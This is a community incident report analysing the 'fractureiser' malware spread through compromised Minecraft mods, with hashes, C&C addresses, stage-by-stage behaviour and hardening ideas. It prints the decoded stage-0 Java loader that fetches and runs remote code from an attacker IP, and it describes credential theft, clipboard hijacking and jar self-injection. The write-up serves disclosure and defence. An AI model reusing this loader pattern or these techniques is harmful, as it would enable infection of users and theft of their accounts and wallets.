Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they do not show on the web UI, only via the API.
The malicious mods have upload dates multiple weeks in the past. Most of them were uploaded by single-use accounts with clearly autogenerated names, and were likely the seed of the infection. Luna Pixel Studios was compromised due to a dev testing one of these mods, as it was an interesting new upload.
mod/plugin | link | SHA1 | "Uploader" |
---|---|---|---|
Skyblock Core | [www.curseforge.com]/minecraft/mc-mods/skyblock-core/files/4570565 | 33677CA0E4C565B1F34BAA74A79C09A3B690BF41 |
Luna Pixel Studios |
Dungeonz | [legacy.curseforge.com]/minecraft/mc-mods/dungeonx/files/4551100 | 2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B |
fractureiser |
Haven Elytra | [dev.bukkit.org]/projects/havenelytra/files/4551105 [legacy.curseforge.com]/minecraft/bukkit-plugins/havenelytra/files/4551105 | 284A4449E58868036B2BAFDFB5A210FD0480EF4A |
fractureiser |
Vault Integrations | [www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 | 0C6576BDC6D1B92D581C18F3A150905AD97FA080 |
simpleharvesting82 |
AutoBroadcast | [www.curseforge.com]/minecraft/mc-mods/autobroadcast/files/4567257 | C55C3E9D6A4355F36B0710AB189D5131A290DF26 |
shyandlostboy81 |
Museum Curator Advanced | [www.curseforge.com]/minecraft/mc-mods/museum-curator-advanced/files/4553353 | 32536577D5BB074ABD493AD98DC12CCC86F30172 |
racefd16 |
Vault Integrations Bug fix | [www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 | 0C6576BDC6D1B92D581C18F3A150905AD97FA080 |
simplyharvesting82 |
Floating Damage | [dev.bukkit.org]/projects/floating-damage | 1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fc |
mamavergas3001 |
Display Entity Editor | [www.curseforge.com]/minecraft/bukkit-plugins/display-entity-editor/files/4570122 | A4B6385D1140C111549D95EAB25CB51922EEFBA2 |
santa_faust_2120 |
Darkhax sent this: https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f
potentially more: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib
Affected mods or plugins have a new static void
method inserted into their main class, and a call to this method is inserted into that class's static initializer. For DungeonZ, the method is named _d1385bd3c36f464882460aa4f0484c53
and exists in net.dungeonz.DungeonzMain
. For Skyblock Core, the method is named _f7dba6a3a72049a78a308a774a847180
and is inserted into com.bmc.coremod.BMCSkyblockCore
. For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of valorless.havenelytra.HavenElytra
.
The method's code is obfuscated, using new String(new byte[]{...})
instead of string literals.
From Shadowex3's sample of "Create Infernal Expansion Plus", a copycat version of "Create Infernal Expansion Compat" with malware inserted into the main mod class:
static void _1685f49242dd46ef9c553d8af1a4e0bb() {
Class.forName(new String(new byte[] {
// "Utility"
85, 116, 105, 108, 105, 116, 121
}), true, (ClassLoader) Class.forName(new String(new byte[] {
// "java.net.URLClassLoader"
106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114
})).getConstructor(URL[].class).newInstance(new URL[] {
new URL(new String(new byte[] {
// "http"
104, 116, 116, 112
}), new String(new byte[] {
// "85.217.144.130"
56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48
}), 8080, new String(new byte[] {
// "/dl"
47, 100, 108
}))
})).getMethod(new String(new byte[] {
// "run"
114, 117, 110
}), String.class).invoke((Object) null, "-114.-18.38.108.-100");
}
This:
- Creates a
URLClassLoader
with the URLhttp://[85.217.144.130:8080]/dl
(shodan) - Loads the class
Utility
from the classloader, fetching code from the internet - Calls the
run
method onUtility
, passing a String argument different for each infected mod (!). E.g.- Skyblock Core: "
-74.-10.78.-106.12
" - Dungeonz: "
114.-18.38.108.-100
" - HavenElytra: "
-114.-18.38.108.-100
" - Vault Integrations: "
-114.-18.38.108.-100
"
- Skyblock Core: "
The passed numerals are parsed as bytes by Stage1 and written to a file named ".ref". They appear to be a way for the author to track infection sources.
The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads we are presently aware of no longer function.
SHA-1: dc43c4685c3f47808ac207d1667cc1eb915b2d82
Decompiled files from the Malware can be found here.
The very first thing Utility.run
does is check if the system property neko.run
is set. If it is, it will immediately stop executing. If not, it sets it to the empty string and continues. This appears to be a very simplistic way of avoiding the same process running the malware multiple times, such as if it had multiple infected mods. This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change.
It attempts to contact 85.217.144.130
, and a Cloudflare Pages domain (https://[files-8ie.pages.dev]/ip
). Yes, people have already reported abuse. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a 4 byte file which is just a binary IPv4 address.
The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can't imagine they didn't plan for this. Thank you Serverion for your prompt response.
The Cloudflare Pages domain has been terminated. There is a new command and control server located at 107.189.3.101
.
Stage 1 then attempts to achieve persistence by doing the following:
- Downloading stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server
- Making stage 2 run automatically on startup:
- On Linux, it tries placing systemd unit files in
/etc/systemd/system
or~/.config/systemd/user
- The unit file it places in the user folder never works, because it tries using
multi-user.target
, which doesn't exist for user units
- The unit file it places in the user folder never works, because it tries using
- On Windows, it attempts to modify the registry to start itself, or failing that, tries adding itself to the
Windows\Start Menu\Programs\Startup
folder
Known sha1 hashes:
52d08736543a240b0cbbbf2da03691ae525bb119
6ec85c8112c25abe4a71998eb32480d266408863
(Shadowex3's earlier upload)
Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called Bootstrap
.
It additionally contains another class called named h
which seems to be a simple communications class, but is empty
otherwise. You can view an attempt to reconstruct the source code at
https://gist.github.com/SilverAndro/a992f85bec29bb248c354ccf5d2206fe
When launched it does the following:
- Open port
9655
and add a shutdown hook to close it when the jvm closes. - Locate itself on disk and works next to itself
- If
.ref
exists, it reads the identifier key from the file - Launches a loop to
- Checks with
https://[files-8ie.pages.dev]:8083/ip
for the server and attempts to connect to it - Receives a flag for if the update check should continue, throwing if not (reported to the server on port
1338
) - If so, receives a hash and checks it against
client.jar
if it exists, sending back a byte for if it wants to update - If so, receives and overwrites/creates
client.jar
, hiding it using file attributes - Loads and invokes the static method
dev.neko.nekoclient.Client#start(InetAddress, refFileBytes)
- Sleeps for 5 seconds
- Checks with
sha-1: c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5
client.jar
is an incredibly obfuscated and complex bundle of code and contains both java and native code.
It appears to contain a native payload hook.dll
, decompiled: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c
There are two native functions meant to be called from Java, as they are JNI callable:
__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);
__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);
from analysis, these do what they say on the tin:
- read clipboard contents
- Steal Microsoft account credentials
There is also evidence of code attempting to do the following:
- Scan for all JAR files on the system that look like Minecraft mods (by detecting Forge/Fabric/Quilt/Bukkit), or declare a Main class (most plain Java programs) and attempt to inject stage 0 into them
- Steal cookies and login information for many web browsers
- Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
- Steal Discord credentials
- Steal Microsoft and Minecraft credentials, from a variety of launchers
- Steal crypto wallets
Jars are heuristically detected as Minecraft mods or plugins as follows:
- Forge (dev/neko/e/e/e/A): The malware attempts to locate the
@Mod
annotation, which is required in every mod - Bukkit (dev/neko/e/e/e/C): The malware checks if a class extends Bukkit's
JavaPlugin
class - Fabric/Quilt (dev/neko/e/e/e/i): The malware checks if a class implements
ModInitializer
- Bungee (dev/neko/e/e/e/l): The malware checks if a class extends Bungee's
Plugin
class - Vanilla (dev/neko/e/e/e/c): The malware checks if the main client class
net.minecraft.client.main.Main
exists
More details are available in the live stage-3 reversal doc: https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ
When the second C&C server was stood up, a deobfuscated version of stage 3 was accidentally served for around 40 minutes.
Stage 3 was replaced with another jar some time after the second C&C server was stood up.
It appears to be just the SkyRage updater, which is another minecraft malware targetting blackspigot.
Windows: task scheduler MicrosoftEdgeUpdateTaskMachineVM
, file %AppData%\..\LocalLow\Microsoft\Internet Explorer\DOMStore\microsoft-vm-core
Linux: /bin/vmd-gnu
, /etc/systemd/system/vmd-gnu.service
, service vmd-gnu
C&C server: connect.skyrage.de
Downloading: hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/qqqqqqqqq
qqqqqqqqq
jar extracts all kinds of information (browser cookies, discord, minecraft, epic games, steam login, also some stuff about crypto wallets and password pamangers), which update jar uploads to C&C server- replaces crypto coin addresses in clipboard with address recieved from
95.214.27.172:18734
- persistence (see above)
- contains auto-updater, current version is 932 (
hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/version
)
The main payload server is was (got taken down) hosted on Serverion, a company based in the Netherlands.
The new C&C is still up. This line will be updated when its taken down.
Other than an HTTP server on port 80/443 and an SSH server on port 22, the following ports were open on 85.217.144.130
and 107.189.3.101
:
- 1337
- 1338 (a port referenced in stage 1's file for creating new Debugger connection)
- 8081 (this is a WebSocket server - no apparent function right now, not referenced in any malicious code)
- 8082 (nobody's gotten anything out of this one, not referenced in any malicious code)
- 8083 (contacted by stage 1)
Curiously, fractureiser's bukkit page says "Last active Sat, Jan, 1 2000 00:00:00" https://dev.bukkit.org/members/fractureiser/projects/
Please ask in the IRC chat for read or read/write access to samples. Source code of the decompiled stage 3 client is available: https://github.com/clrxbl/NekoClient
While it's a bit early to speak of long term follow-ups, this whole debacle has brought up several critical flaws in the modded Minecraft ecosystem. This section is just brainstorming on them and how we can improve.
What exactly does CurseForge and Modrinth do when "reviewing" a mod? We should know as a community, instead of relying on security through obscurity. Should be we be running some sort of static analysis? (williewillus has a few ideas here)
Unlike the software industry at large, mods released and uploaded to repositories are usually not signed with a signing key that proves that the owner of the key uploaded the mod. Having signing and a separate key distribution/trust mechanism mitigates compromise of CurseForge accounts.
However, this then leads to the greater issue of how to derive key trust, as the fact that "this jar has this signature" has to be communicated out of band from CurseForge/Modrinth, in a standard way so that loaders or users can verify the signatures. Forge tried to introduce signing many years ago and it had limited uptake.
Minecraft toolchains are a mess, and builds are usually not reproducible. It is common to have buildscripts fetching unpinned -SNAPSHOT versions of random Gradle plugins and using them, which results in artifacts that are non-reproducible and thus non-auditable.
A random Gradle plugin being a future attack vector is not out of the question.
Java edition modding has always had the full power of Java, and this is the other side of that double-edged sword: malicious code has far-reaching impact. Minecraft itself is not run with any sandboxing, and servers usually are not sandboxed unless the owner is knowledgeable enough to do so.
Good sandboxing is difficult, especially on systems such as Linux where SELinux/AppArmor have such poor UX that no one deploys them.